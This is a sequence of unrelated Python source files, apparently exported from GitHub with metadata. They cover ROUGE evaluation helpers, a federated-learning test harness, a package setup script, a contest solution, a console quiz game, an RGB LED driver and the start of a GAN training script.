Rouge155\n\n\nimport argparse\ndef parse_args():\n \"\"\"\n Parses command line arguments.\n \"\"\"\n parser = argparse.ArgumentParser('pyrouge_eval')\n parser.add_argument('--data', type=str, default = 'data_result',\n help = 'specify directory where data are stored')\n return parser.parse_args()\n\n#\ndefault_rouge_score = {'rouge_1_recall': 0.0, 'rouge_1_recall_cb': 0.0, 'rouge_1_recall_ce': 0.0,\n 'rouge_1_precision': 0.0, 'rouge_1_precision_cb': 0.0, 'rouge_1_precision_ce': 0.0,\n 'rouge_1_f_score': 0.0, 'rouge_1_f_score_cb': 0.0, 'rouge_1_f_score_ce': 0.0,\n 'rouge_2_recall': 0.0, 'rouge_2_recall_cb': 0.0, 'rouge_2_recall_ce': 0.0,\n 'rouge_2_precision': 0.0, 'rouge_2_precision_cb': 0.0, 'rouge_2_precision_ce': 0.0,\n 'rouge_2_f_score': 0.0, 'rouge_2_f_score_cb': 0.0, 'rouge_2_f_score_ce': 0.0,\n 'rouge_3_recall': 0.0, 'rouge_3_recall_cb': 0.0, 'rouge_3_recall_ce': 0.0,\n 'rouge_3_precision': 0.0, 'rouge_3_precision_cb': 0.0, 'rouge_3_precision_ce': 0.6,\n 'rouge_3_f_score': 0.0, 'rouge_3_f_score_cb': 0.0, 'rouge_3_f_score_ce': 0.0,\n 'rouge_4_recall': 0.0, 'rouge_4_recall_cb': 0.0, 'rouge_4_recall_ce': 0.0,\n 'rouge_4_precision': 0.0, 'rouge_4_precision_cb': 0.0, 'rouge_4_precision_ce': 0.0,\n 'rouge_4_f_score': 0.0, 'rouge_4_f_score_cb': 0.0, 'rouge_4_f_score_ce': 0.0,\n 'rouge_l_recall': 0.0, 'rouge_l_recall_cb': 0.0, 'rouge_l_recall_ce': 0.0,\n 'rouge_l_precision': 0.0, 'rouge_l_precision_cb': 0.0, 'rouge_l_precision_ce': 0.0,\n 'rouge_l_f_score': 0.0, 'rouge_l_f_score_cb': 0.0, 'rouge_l_f_score_ce': 0.0,\n 'rouge_w_1.2_recall': 0.0, 'rouge_w_1.2_recall_cb': 0.0, 'rouge_w_1.2_recall_ce': 0.0, \n 'rouge_w_1.2_precision': 0.0, 'rouge_w_1.2_precision_cb': 0.0, 'rouge_w_1.2_precision_ce': 0.0,\n 'rouge_w_1.2_f_score': 0.0, 'rouge_w_1.2_f_score_cb': 0.0, 'rouge_w_1.2_f_score_ce': 0.0,\n 'rouge_s*_recall': 0.0, 'rouge_s*_recall_cb': 0.0, 'rouge_s*_recall_ce': 0.0, \n 'rouge_s*_precision': 0.0, 'rouge_s*_precision_cb': 0.0, 'rouge_s*_precision_ce': 0.0,\n 'rouge_s*_f_score': 0.0, 'rouge_s*_f_score_cb': 0.0, 'rouge_s*_f_score_ce': 0.0,\n 'rouge_su*_recall': 0.0, 'rouge_su*_recall_cb': 0.0, 'rouge_su*_recall_ce': 0.0,\n 'rouge_su*_precision': 0.0, 'rouge_su*_precision_cb': 0.0, 'rouge_su*_precision_ce': 0.0,\n 'rouge_su*_f_score': 0.0, 'rouge_su*_f_score_cb': 0.0, 'rouge_su*_f_score_ce': 0.0}\n#\n\n#\ndef run_pyrouge_eval(dir_data=None, model_dir=None, system_dir=None, \n model_filename_pattern = \"example.[A-Z].#ID#.txt\",\n system_filename_pattern = \"example.(\\d+).txt\"):\n \"\"\"\n \"\"\"\n if model_dir is None:\n model_dir = os.path.join(dir_data, \"model\")\n if system_dir is None:\n system_dir = os.path.join(dir_data, \"reference\")\n #\n rg = Rouge155()\n rg.model_dir = model_dir\n rg.system_dir = system_dir\n #\n rg.model_filename_pattern = model_filename_pattern\n rg.system_filename_pattern = system_filename_pattern\n #\n # rg.model_filename_pattern = \"#ID#_result.txt\"\n # rg.system_filename_pattern = \"(\\d+)_reference.txt\" \n #\n # rg.model_filename_pattern = \"example.[A-Z].#ID#.txt\"\n # rg.system_filename_pattern = \"example.(\\d+).txt\"\n #\n logging.getLogger('global').setLevel(logging.WARNING) # silence pyrouge logging\n output = rg.convert_and_evaluate()\n output_dict = rg.output_to_dict(output)\n #\n return output_dict, output\n\n#\ndef write_rouge_results(results_dict, file_path):\n \"\"\"\n \"\"\"\n results_filtered = {}\n results_filtered[\"rouge_1_recall\"] = results_dict[\"rouge_1_recall\"]\n results_filtered[\"rouge_1_precision\"] = results_dict[\"rouge_1_precision\"]\n results_filtered[\"rouge_1_f_score\"] = results_dict[\"rouge_1_f_score\"]\n #\n results_filtered[\"rouge_2_recall\"] = results_dict[\"rouge_2_recall\"]\n results_filtered[\"rouge_2_precision\"] = results_dict[\"rouge_2_precision\"]\n results_filtered[\"rouge_2_f_score\"] = results_dict[\"rouge_2_f_score\"]\n #\n results_filtered[\"rouge_4_recall\"] = results_dict[\"rouge_4_recall\"]\n results_filtered[\"rouge_4_precision\"] = results_dict[\"rouge_4_precision\"]\n results_filtered[\"rouge_4_f_score\"] = results_dict[\"rouge_4_f_score\"]\n #\n results_filtered[\"rouge_l_recall\"] = results_dict[\"rouge_l_recall\"]\n results_filtered[\"rouge_l_precision\"] = results_dict[\"rouge_l_precision\"]\n results_filtered[\"rouge_l_f_score\"] = results_dict[\"rouge_l_f_score\"]\n #\n with open(file_path, \"w\") as fp:\n json.dump(results_filtered, fp)\n\n#\ndef make_html_safe(s):\n \"\"\" Replace any angled brackets in string s to avoid interfering with HTML attention visualizer.\n \n pyrouge calls a perl script that puts the data into HTML files.\n Therefore we need to make our output HTML safe.\n \"\"\"\n s.replace(\"<\", \"<\")\n s.replace(\">\", \">\")\n return s\n\n#\ndef write_data_for_eval(data_dict, dir_data=None,\n model_dir = None, system_dir = None,\n model_filename_format = \"example.A.%d.txt\",\n system_filename_format = \"example.%d.txt\",\n flag_make_html_safe = True):\n \"\"\" data_dict: a map from example_id to (result, reference) \n \"\"\"\n if model_dir is None:\n model_dir = os.path.join(dir_data, \"model\")\n if system_dir is None:\n system_dir = os.path.join(dir_data, \"reference\")\n \n # remove the existing dir\n if os.path.exists(model_dir):\n shutil.rmtree(model_dir)\n\n if os.path.exists(system_dir):\n shutil.rmtree(system_dir)\n \n time.sleep(3)\n \n # make new dir\n if dir_data is not None and not os.path.exists(dir_data):\n os.mkdir(dir_data)\n #\n os.mkdir(model_dir)\n os.mkdir(system_dir)\n #\n\n for key in data_dict.keys():\n #\n result, ref = data_dict[key] # (result, reference)\n #\n if flag_make_html_safe:\n result = make_html_safe(result)\n ref = make_html_safe(ref)\n #\n # file_result = os.path.join(model_dir, \"example.A.%d.txt\" % key)\n # file_ref = os.path.join(system_dir, \"example.%d.txt\" % key)\n #\n file_result = os.path.join(model_dir, model_filename_format % key)\n file_ref = os.path.join(system_dir, system_filename_format % key)\n #\n with open(file_ref, 'w', encoding = 'utf-8') as fp:\n fp.write(ref)\n #\n with open(file_result, 'w', encoding = 'utf-8') as fp:\n fp.write(result)\n #\n #\n\n#\ndef get_files_with_ext(path, str_ext):\n \"\"\"\n \"\"\"\n file_list = []\n for file in os.listdir(path):\n file_path = os.path.join(path, file) \n if file_path.endswith(str_ext): \n file_list.append(file_path)\n #print(file_path)\n return file_list\n #\n \nif __name__ == '__main__':\n \n args = parse_args()\n dir_data = args.data\n\n # dir_data = os.path.abspath(\"./data_result\")\n # print(dir_data)\n\n try:\n output_dict, output = run_pyrouge_eval(dir_data=dir_data)\n print(output)\n except BaseException:\n print()\n print('rouge score cannot be calculated, data NOT HTML-safe.')\n #\n ","repo_name":"Li-Ming-Fan/ROUGE_eval","sub_path":"pyrouge_utils.py","file_name":"pyrouge_utils.py","file_ext":"py","file_size_in_byte":7623,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"8589489211","text":"import unittest\nimport paramunittest\n\nimport globalvar as gl #添加全局变量管理模块\n\n\nimport copy\nimport pickle\nimport pandas as pd\n\nfrom datetime import datetime\nimport os\nimport shutil\nimport unittest\nfrom sklearn.preprocessing import MinMaxScaler\nimport numpy as np\nfrom sklearn.metrics import classification_report\nimport torch\nimport torch.nn.functional as F\n\nfrom context import FederatedAveragingGrads\nfrom context import PytorchModel\nfrom learning_model import FLModel\nfrom preprocess import get_test_loader\nfrom preprocess import UserRoundData\nfrom train import user_round_train\n\nclass ParameterServer(object):\n\n def __init__(self, init_model_path=None, testworkdir='', model_arg_obj=None, model_obj=None,learn_rate=0.001,output_model_dir = '', opt_schedule=None):\n self.round = 0\n self.rounds_info = {}\n self.rounds_model_path = {}\n self.current_round_grads = []\n self.init_model_path = init_model_path\n self.aggr = FederatedAveragingGrads(\n model=PytorchModel(torch=torch,\n model_class=FLModel,\n init_model_path=self.init_model_path,\n optim_name='Adam',\n cuda=gl.get_value(\"use_cuda\"),\n lr=learn_rate,\n opt_schedule=opt_schedule\n ),\n framework='pytorch',\n )\n\n self.rounds_model_arg_objs = {}\n self.model_arg_obj = model_arg_obj\n self.model_obj = model_obj\n self.rounds_model_objs = {}\n self.last_model_obj = None\n\n self.testworkdir = testworkdir\n self.outputdir = output_model_dir\n self.round_savemodel_int = gl.get_value(\"round_savemodel_int\")\n\n if not os.path.exists(self.testworkdir):\n os.makedirs(self.testworkdir)\n\n def get_latest_model_path(self):\n if not self.rounds_model_path:\n return self.init_model_path\n\n if self.round in self.rounds_model_path:\n return self.rounds_model_path[self.round]\n\n return self.rounds_model_path[self.round - 1]\n\n def get_latest_model_obj(self):\n if not self.last_model_obj:\n return self.model_obj\n\n return self.last_model_obj\n\n def get_latest_model_arg_obj(self):\n if not self.rounds_model_arg_objs:\n return self.model_arg_obj\n\n if self.round in self.rounds_model_arg_objs:\n return self.rounds_model_arg_objs[self.round]\n\n return self.rounds_model_arg_objs[self.round - 1]\n\n\n\n def receive_grads_info(self, grads):\n self.current_round_grads.append(grads)\n\n def save_model(self):\n path = os.path.join(self.outputdir,\n 'round-{round}-model.pkl'.format(round=self.round))\n info = self.aggr.save_model(path=path) # ps.aggr.save_model\n\n # aggregate 总数; 合计;\n def aggregate(self):\n #联邦学习操作 输入的是一个list\n self.aggr(self.current_round_grads)\n\n if gl.get_value(\"is_local\") == False:\n # 文件操作\n path = os.path.join(self.testworkdir,\n 'round-{round}-model.pkl'.format(round=self.round))\n self.rounds_model_path[self.round] = path\n if (self.round - 1) in self.rounds_model_path:\n if os.path.exists(self.rounds_model_path[self.round - 1]):\n os.remove(self.rounds_model_path[self.round - 1])\n\n # 保存模型\n info = self.aggr.save_model(path=path) #ps.aggr.save_model\n else:\n #self.rounds_model_arg_objs[self.round] = self.aggr.model.model.state_dict() #PytorchModel 需要这个class下的model.state_dict()\n self.model_obj = self.aggr.model.model #直接把model赋值过去 注意要是cpu类型\n info = None\n\n self.round += 1\n self.current_round_grads = []\n\n if (self.round % self.round_savemodel_int == 1):\n self.save_model()\n\n return info\n\n\nuser_datasets = None\n\n@paramunittest.parametrized(\n {\"max_rounds\": 2500, \"n_round_samples\": 1600, \"batch_size\": 320, \"init_lr\": 0.001,\n \"opt_schedule_func\": None},\n\n # {\"max_rounds\": 5000, \"n_round_samples\": 1600, \"batch_size\": 320, \"init_lr\": 0.005,\n # \"opt_schedule_func\": lambda opt: torch.optim.lr_scheduler.MultiStepLR(opt, [600, 2100], 0.2, -1)},\n\n\n # {\"max_rounds\": 3000, \"n_round_samples\": 2048, \"batch_size\": 512, \"init_lr\": 0.001,\n # \"opt_schedule_func\": None},\n #\n # {\"max_rounds\": 4000, \"n_round_samples\": 2048, \"batch_size\": 1024, \"init_lr\": 0.001,\n # \"opt_schedule_func\": None},\n #\n # {\"max_rounds\": 6000, \"n_round_samples\": 2048, \"batch_size\": 2048, \"init_lr\": 0.001,\n # \"opt_schedule_func\": None},\n #\n # {\"max_rounds\": 2000, \"n_round_samples\": 2048, \"batch_size\": 512, \"init_lr\": 0.002,\n # \"opt_schedule_func\": None},\n #\n # {\"max_rounds\": 2000, \"n_round_samples\": 2048, \"batch_size\": 512, \"init_lr\": 0.004,\n # \"opt_schedule_func\": None},\n #\n # {\"max_rounds\": 2000, \"n_round_samples\": 2048, \"batch_size\": 512, \"init_lr\": 0.006,\n # \"opt_schedule_func\": None},\n #\n # {\"max_rounds\": 3000, \"n_round_samples\": 4096, \"batch_size\": 512, \"init_lr\": 0.001,\n # \"opt_schedule_func\": None},\n #\n # {\"max_rounds\": 3000, \"n_round_samples\": 8192, \"batch_size\": 512, \"init_lr\": 0.001,\n # \"opt_schedule_func\": None},\n #\n # {\"max_rounds\": 10000, \"n_round_samples\": 8192, \"batch_size\": 1024, \"init_lr\": 0.001,\n # \"opt_schedule_func\": None},\n #\n # {\"max_rounds\": 10000, \"n_round_samples\": 8192, \"batch_size\": 2048, \"init_lr\": 0.001,\n # \"opt_schedule_func\": None},\n)\n\nclass check_model(unittest.TestCase):\n RESULT_DIR = 'result-autotest'\n N_VALIDATION = 10000\n TEST_BASE_DIR = 'tmp-autotest'\n\n def setParameters(self, max_rounds, n_round_samples, batch_size, init_lr, opt_schedule_func):\n self.n_max_rounds = max_rounds\n self.n_round_samples = n_round_samples\n self.batch_size = batch_size\n self.lr = init_lr\n self.opt_schedule_func = opt_schedule_func\n\n\n\n\n def setUp(self):\n\n #设置开始时间\n gl.set_value(\"start_time\", int(time.time()))\n\n\n\n if gl.get_value(\"use_cuda\"):\n #self.TEST_BASE_DIR = 'C:/tmp/'\n print(\"Hello User: using cuda~\")\n self.use_cuda = True\n else:\n self.use_cuda = False\n\n self.seed = 0\n #self.use_cuda = True\n #self.batch_size = 256\n self.test_batch_size = 8192\n #self.lr = 0.001 #学习率,上传的程序没有修改成功\n #self.n_max_rounds = 0\n #self.n_round_samples = 1600 #随机抽取的样本数 #df:1600\n\n self.testbase = self.TEST_BASE_DIR\n self.testworkdir = os.path.join(self.testbase, 'competetion-test', str(gl.get_value('start_time')))\n self.testIntRound = 100 #测试间隔\n self.savemodel_interval = 50 #保存模型间隔\n\n self.now_round = 0\n self.outputdir = os.path.join(self.RESULT_DIR, str(gl.get_value('start_time'))) #result/time/\n self.outputdir_model = os.path.join(self.outputdir, 'model')\n self.outputdir_result = os.path.join(self.outputdir, 'result')\n\n gl.set_value(\"round_savemodel_int\", self.savemodel_interval)\n\n if not os.path.exists(self.RESULT_DIR):\n os.makedirs(self.RESULT_DIR)\n\n if not os.path.exists(self.testworkdir):\n os.makedirs(self.testworkdir)\n\n if not os.path.exists(self.outputdir):\n os.makedirs(self.outputdir)\n\n if not os.path.exists(self.outputdir_model):\n os.makedirs(self.outputdir_model)\n if not os.path.exists(self.outputdir_result):\n os.makedirs(self.outputdir_result)\n\n # 初始化参数保存\n # self.n_max_rounds = max_rounds\n # self.n_round_samples = n_round_samples\n # self.batch_size = batch_size\n # self.lr = init_lr\n # self.opt_schedule_func = opt_schedule_func\n\n self.save_txt = \"max-round:%d\\nn_round_samples:%d\\nbatch_size:%d\\nlr:%f\\nis_opt:%d\" % (self.n_max_rounds, self.n_round_samples, self.batch_size, self.lr, int(self.opt_schedule_func is not None))\n print(self.save_txt)\n with open(os.path.join(self.outputdir, \"param.txt\"), 'w') as fout:\n fout.write(self.save_txt)\n fout.close()\n # if self.opt_schedule_func is not None:\n # with open(os.path.join(self.outputdir, \"param-opt.pkl\"), 'w') as fout:\n # pickle.dump(self.opt_schedule_func, fout)\n # fout.close()\n\n # 输出保存到文本 无效\n # path = os.path.abspath(os.path.dirname(__file__))\n # type = sys.getfilesystemencoding()\n # sys.stdout = Logger(os.path.join(self.RESULT_DIR, \"shell_log_\" + str(gl.get_value('start_time')) + \".txt\"))\n\n print(\"@\"*30)\n print(\"@\"*30)\n print(\"Current ID:%d\" % (gl.get_value('start_time')) )\n\n self.init_model_path = os.path.join(self.testworkdir, 'init_model.pkl')\n torch.manual_seed(self.seed)\n\n # 如果没有初始化模型,那么执行:模型初始化\n if not os.path.exists(self.init_model_path):\n torch.save(FLModel().state_dict(), self.init_model_path) # model.state_dict()其实返回的是一个OrderDict,存储了网络结构的名字和对应的参数\n\n if gl.get_value(\"is_local\"):\n self.ps = ParameterServer(init_model_path=self.init_model_path, testworkdir=self.testworkdir,\n model_obj=FLModel(), learn_rate=self.lr,\n output_model_dir=self.outputdir_model,\n opt_schedule=self.opt_schedule_func\n )\n else:\n self.ps = ParameterServer(init_model_path=self.init_model_path, testworkdir=self.testworkdir, learn_rate=self.lr,\n output_model_dir=self.outputdir_model,\n opt_schedule=self.opt_schedule_func\n )\n\n self.urd = user_datasets # 为了多参数自动测试 修改\n self.n_users = self.urd.n_users\n\n def _clear(self):\n shutil.rmtree(self.testworkdir)\n\n def tearDown(self):\n self._clear()\n\n def test_federated_averaging(self):\n torch.manual_seed(self.seed)\n device = torch.device(\"cuda\" if self.use_cuda else \"cpu\")\n\n training_start = datetime.now()\n model = None\n\n if gl.get_value(\"is_local\"):\n for r in range(1, self.n_max_rounds + 1):\n # 从参数服务器中来\n model_obj = self.ps.get_latest_model_obj()\n\n start = datetime.now()\n for u in range(0, self.n_users):# 每个节点\n model = copy.deepcopy(model_obj) #拷贝,在CPU中\n model = model.to(device) #放到GPU/CPU中\n x, y = self.urd.round_data(\n user_idx=u,\n n_round=r,\n n_round_samples=self.n_round_samples)\n #print(Counter(y))\n grads = user_round_train(X=x, Y=y, model=model, device=device, batch_size= self.batch_size, debug=False)\n # 参数服务器接受梯度.没有带节点信息.函数内以append方式接收\n self.ps.receive_grads_info(grads=grads)\n\n # 执行联邦学习\n self.ps.aggregate()\n print('\\nRound {} cost: {}, total training cost: {}'.format(\n r,\n datetime.now() - start,\n datetime.now() - training_start,\n ))\n\n if model is not None and r % self.testIntRound == 0:\n print(self.save_txt)\n self.predict(model,\n device,\n self.urd.uniform_random_loader(self.N_VALIDATION),\n prefix=\"Train\") # 用的train数据\n # 预测 无标签的数据,并保存到result.txt\n self.save_testdata_prediction(model=model, device=device) # 用的pkl数据\n\n else:\n\n for r in range(1, self.n_max_rounds + 1):\n path = self.ps.get_latest_model_path()\n start = datetime.now()\n for u in range(0, self.n_users):\n model = FLModel()\n model.load_state_dict(torch.load(path))\n model = model.to(device)\n x, y = self.urd.round_data(\n user_idx=u,\n n_round=r,\n n_round_samples=self.n_round_samples)\n grads = user_round_train(X=x, Y=y, model=model, device=device, batch_size= self.batch_size, debug=False)\n # 参数服务器接受梯度.没有带u信息\n self.ps.receive_grads_info(grads=grads)\n\n self.ps.aggregate()\n print('\\nRound {} cost: {}, total training cost: {}'.format(\n self.now_round,\n datetime.now() - start,\n datetime.now() - training_start,\n ))\n\n if model is not None and r % self.testIntRound == 0:\n self.predict(model,\n device,\n self.urd.uniform_random_loader(self.N_VALIDATION),\n prefix=\"Train\")# 用的train数据\n # 预测 无标签的数据,并保存到result.txt\n self.save_testdata_prediction(model=model, device=device)#用的pkl数据\n\n\n self.ps.save_model() # 保存当前轮数的模型\n if model is not None:\n self.save_testdata_prediction(model=model, device=device)\n\n def save_prediction(self, predition):\n if isinstance(predition, (np.ndarray, )):\n predition = predition.reshape(-1).tolist()\n self.now_round += 1\n\n saved_filename = '%d-%d.txt' % (gl.get_value('start_time'), self.now_round)\n with open(os.path.join(self.outputdir_result, saved_filename), 'w') as fout:\n #fout.writelines(os.linesep.join([str(n) for n in predition])) #根据系统类型添加换行符\n fout.writelines(\"\\n\".join([str(n) for n in predition]))\n fout.close()\n\n def save_testdata_prediction(self, model, device):\n # 测试的时候batch_size 因为没有学习过程 那么越大越好?\n loader = get_test_loader(batch_size=self.test_batch_size)#测试时候的batchsize\n prediction = []\n with torch.no_grad():\n for data in loader:\n pred = model(data.to(device)).argmax(dim=1, keepdim=True)\n prediction.extend(pred.reshape(-1).tolist())\n\n self.save_prediction(prediction)\n\n # 使用随机的训练数据来测试当前模型准确率\n def predict(self, model, device, test_loader, prefix=\"\"):\n model.eval()\n test_loss = 0\n correct = 0\n prediction = []\n real = []\n with torch.no_grad():\n for data, target in test_loader:\n data, target = data.to(device), target.to(device)\n output = model(data)\n test_loss += F.nll_loss(\n output, target,\n reduction='sum').item() # sum up batch loss\n pred = output.argmax(\n dim=1,\n keepdim=True) # get the index of the max log-probability\n correct += pred.eq(target.view_as(pred)).sum().item()\n prediction.extend(pred.reshape(-1).tolist())\n real.extend(target.reshape(-1).tolist())\n\n test_loss /= len(test_loader.dataset)\n acc = 100. * correct / len(test_loader.dataset)\n print(classification_report(real, prediction))\n print(\n '{} set: Average loss: {:.4f}, Accuracy: {}/{} ({:.0f}%)'.format(\n prefix, test_loss, correct, len(test_loader.dataset), acc), )\n\n\n\ndef suite():\n suite = unittest.TestSuite()\n suite.addTest(check_model('test_check'))\n\n return suite\n\n\n# def suite():\n# suite = unittest.TestSuite()\n# if gl.get_value(\"test_model_path\") is not None:\n# suite.addTest(LocalTestModelTestSuit('ModelLocalTest'))\n# else:\n# suite.addTest(FedAveragingGradsTestSuit('test_federated_averaging'))\n# return suite\n\ndef main():\n runner = unittest.TextTestRunner()\n runner.run(suite())\n\nimport time\n\nimport sys\nclass Logger(object):\n def __init__(self, filename=\"Default.log\"):\n self.terminal = sys.stdout\n self.log = open(filename, \"a\")\n def write(self, message):\n self.terminal.write(message)\n self.log.write(message)\n def flush(self):\n pass\n\n\n\n\nif __name__ == '__main__':\n\n try:\n gl._init()\n gl.set_value(\"use_cuda\", False)\n gl.set_value(\"is_local\", True)\n gl.set_value(\"test_model_path\", None)\n gl.set_value(\"init_time\", int(time.time()))\n gl.set_value(\"datasetPath\", \"../../\")\n\n #加载数据集\n user_datasets = UserRoundData() #加载数据\n\n if len(user_datasets._user_datasets) == 0:\n print(\"user dataset is empty\")\n exit(0)\n\n\n except Exception as e:\n print(e)\n\n\n\n path = os.path.abspath(os.path.dirname(__file__))\n type = sys.getfilesystemencoding()\n\n if os.path.exists(\"./result-autotest/\") == False:\n os.makedirs(\"./result-autotest/\")\n sys.stdout = Logger(\"./result-autotest/%d.txt\" % gl.get_value(\"init_time\"))\n\n unittest.main()\n","repo_name":"tuduweb/ML-CL-DDoS","sub_path":"project/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":17921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"70037144540","text":"from setuptools import setup, find_packages\n\nwith open('README.rst', 'r') as f:\n ldesc = f.read()\n\nsetup(\n name='xmlx',\n version='2.0.0',\n description='A simple and compact XML parser.',\n long_description=ldesc,\n url='https://github.com/Kenny2github/xmlx',\n author='Ken Hilton',\n author_email='kenny2minecraft@gmail.com',\n license='GNU GPLv3',\n classifiers=[\n 'Development Status :: 4 - Beta',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: GNU General Public License v3 (GPLv3)',\n 'Topic :: Software Development :: Compilers',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3.4',\n ],\n keywords='xml dict parser',\n py_modules=['xmlx']\n)\n","repo_name":"Kenny2github/xmlx","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"32263245711","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# コンテスト終了後にコード整理\n\nMOD = 1000000007\n\nN,A,B = [int(x) for x in input().split()]\narr = [int(x) for x in input().split()]\narr.sort()\n\nturn = 0\nprev = None\n\ncache = {}\n\nwhile True:\n # process\n new_arr = [arr[0] * A] + arr[1:]\n new_arr.sort()\n arr = new_arr\n\n turn += 1\n if turn == B:\n print(\"\\n\".join( [str(x%MOD) for x in arr] ))\n break\n\n # 十分ループした後は定常状態に入っているはず\n # 十分ループした後、N回ループすると、順番は同じですべての要素がA倍される\n enough = 1000\n if enough <= turn < enough + N:\n cache[turn] = arr\n\n elif turn >= enough + N:\n turn = B\n\n diff = turn - enough\n v1 = diff % N\n v2 = diff // N\n\n tmp = [(x * pow(A,v2,MOD)) % MOD for x in cache[enough + v1]]\n\n print(\"\\n\".join(str(x) for x in tmp))\n break\n","repo_name":"minus9d/programming_contest_archive","sub_path":"arc/051/c/c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"1647578370","text":"import prompt\r\n\r\n\r\nGAMES_COUNT = 3\r\n\r\n\r\ndef play(game):\r\n print('Welcome to the Brain Games!')\r\n name = prompt.string('May I have your name?')\r\n print(f'Hello, {name}!')\r\n print(game.DESCRIPTION)\r\n for i in range(1, GAMES_COUNT + 1):\r\n question, correct_answer = game.get_question_and_answer()\r\n print(f'Question: {question}')\r\n if correct_answer == 'yes' or 'no':\r\n answer = prompt.string('You answer: ')\r\n else:\r\n answer = prompt.string('You answer: ')\r\n if answer == correct_answer:\r\n print('Correct!')\r\n else:\r\n wrong_answer = 'is wrong answer ;(. Correct answer was'\r\n print(f'{answer} {wrong_answer} \\'{correct_answer}\\'.')\r\n print(f'Let\\'s try again, {name}!')\r\n break\r\n if i == GAMES_COUNT:\r\n print(f'Congratulations, {name}!')\r\n","repo_name":"M1RRoN/python-project-lvl1","sub_path":"brain_games/brain_logic.py","file_name":"brain_logic.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"7479151354","text":"from machine import Pin, PWM\n\n#Provides methods to interact with an RGB LED\nclass RgbLed:\n #Instantiate using the GPIO pin numbers connected to the red, green and blue legs of the LED\n def __init__(self, red_pin_num, green_pin_num, blue_pin_num):\n self._pwm_rgb = []\n self.add_pwm(red_pin_num)\n self.add_pwm(green_pin_num)\n self.add_pwm(blue_pin_num)\n return\n\n def add_pwm(self, pin_num):\n pin = Pin(pin_num, mode=Pin.OUT)\n pwm = PWM(pin)\n self._pwm_rgb.append(pwm)\n pwm.freq(1000)\n return pwm\n\n def set_comp(self, i, f):\n self._pwm_rgb[i].duty_u16(int(65335 * f))\n\n #set color of LED where each component is a float 0-1\n def set_color(self,r,g,b):\n self.set_comp(0, r)\n self.set_comp(1, g)\n self.set_comp(2, b)","repo_name":"user0009182/RaspPi","sub_path":"components/rgb_led/rgb_led.py","file_name":"rgb_led.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"37131110058","text":"import argparse\nimport os\n\nimport PIL\nimport torch\nimport torchvision\nimport tqdm\nfrom torch.utils import tensorboard\n\nimport torch_fidelity\n\n\nclass Generator(torch.nn.Module):\n # Adapted from https://github.com/christiancosgrove/pytorch-spectral-normalization-gan\n def __init__(self, z_size):\n super(Generator, self).__init__()\n self.z_size = z_size\n self.model = torch.nn.Sequential(\n torch.nn.ConvTranspose2d(z_size, 512, 4, stride=1),\n torch.nn.BatchNorm2d(512),\n torch.nn.ReLU(),\n torch.nn.ConvTranspose2d(512, 256, 4, stride=2, padding=(1,1)),\n torch.nn.BatchNorm2d(256),\n torch.nn.ReLU(),\n torch.nn.ConvTranspose2d(256, 128, 4, stride=2, padding=(1,1)),\n torch.nn.BatchNorm2d(128),\n torch.nn.ReLU(),\n torch.nn.ConvTranspose2d(128, 64, 4, stride=2, padding=(1,1)),\n torch.nn.BatchNorm2d(64),\n torch.nn.ReLU(),\n torch.nn.ConvTranspose2d(64, 3, 3, stride=1, padding=(1,1)),\n torch.nn.Tanh()\n )\n\n def forward(self, z):\n fake = self.model(z.view(-1, self.z_size, 1, 1))\n if not self.training:\n fake = (255 * (fake.clamp(-1, 1) * 0.5 + 0.5))\n fake = fake.to(torch.uint8)\n return fake\n\n\nclass Discriminator(torch.nn.Module):\n # Adapted from https://github.com/christiancosgrove/pytorch-spectral-normalization-gan\n def __init__(self, sn=True):\n super(Discriminator, self).__init__()\n sn_fn = torch.nn.utils.spectral_norm if sn else lambda x: x\n self.conv1 = sn_fn(torch.nn.Conv2d(3, 64, 3, stride=1, padding=(1,1)))\n self.conv2 = sn_fn(torch.nn.Conv2d(64, 64, 4, stride=2, padding=(1,1)))\n self.conv3 = sn_fn(torch.nn.Conv2d(64, 128, 3, stride=1, padding=(1,1)))\n self.conv4 = sn_fn(torch.nn.Conv2d(128, 128, 4, stride=2, padding=(1,1)))\n self.conv5 = sn_fn(torch.nn.Conv2d(128, 256, 3, stride=1, padding=(1,1)))\n self.conv6 = sn_fn(torch.nn.Conv2d(256, 256, 4, stride=2, padding=(1,1)))\n self.conv7 = sn_fn(torch.nn.Conv2d(256, 512, 3, stride=1, padding=(1,1)))\n self.fc = sn_fn(torch.nn.Linear(4 * 4 * 512, 1))\n self.act = torch.nn.LeakyReLU(0.1)\n\n def forward(self, x):\n m = self.act(self.conv1(x))\n m = self.act(self.conv2(m))\n m = self.act(self.conv3(m))\n m = self.act(self.conv4(m))\n m = self.act(self.conv5(m))\n m = self.act(self.conv6(m))\n m = self.act(self.conv7(m))\n return self.fc(m.view(-1, 4 * 4 * 512))\n\n\ndef hinge_loss_dis(fake, real):\n assert fake.dim() == 2 and fake.shape[1] == 1 and real.shape == fake.shape, f'{fake.shape} {real.shape}'\n loss = torch.nn.functional.relu(1.0 - real).mean() + \\\n torch.nn.functional.relu(1.0 + fake).mean()\n return loss\n\n\ndef hinge_loss_gen(fake):\n assert fake.dim() == 2 and fake.shape[1] == 1\n loss = -fake.mean()\n return loss\n\n\ndef train(args):\n # set up dataset loader\n os.makedirs(args.dir_dataset, exist_ok=True)\n ds_transform = torchvision.transforms.Compose(\n [torchvision.transforms.ToTensor(), torchvision.transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))]\n )\n ds_instance = torchvision.datasets.CIFAR10(args.dir_dataset, train=True, download=True, transform=ds_transform)\n loader = torch.utils.data.DataLoader(\n ds_instance, batch_size=args.batch_size, drop_last=True, 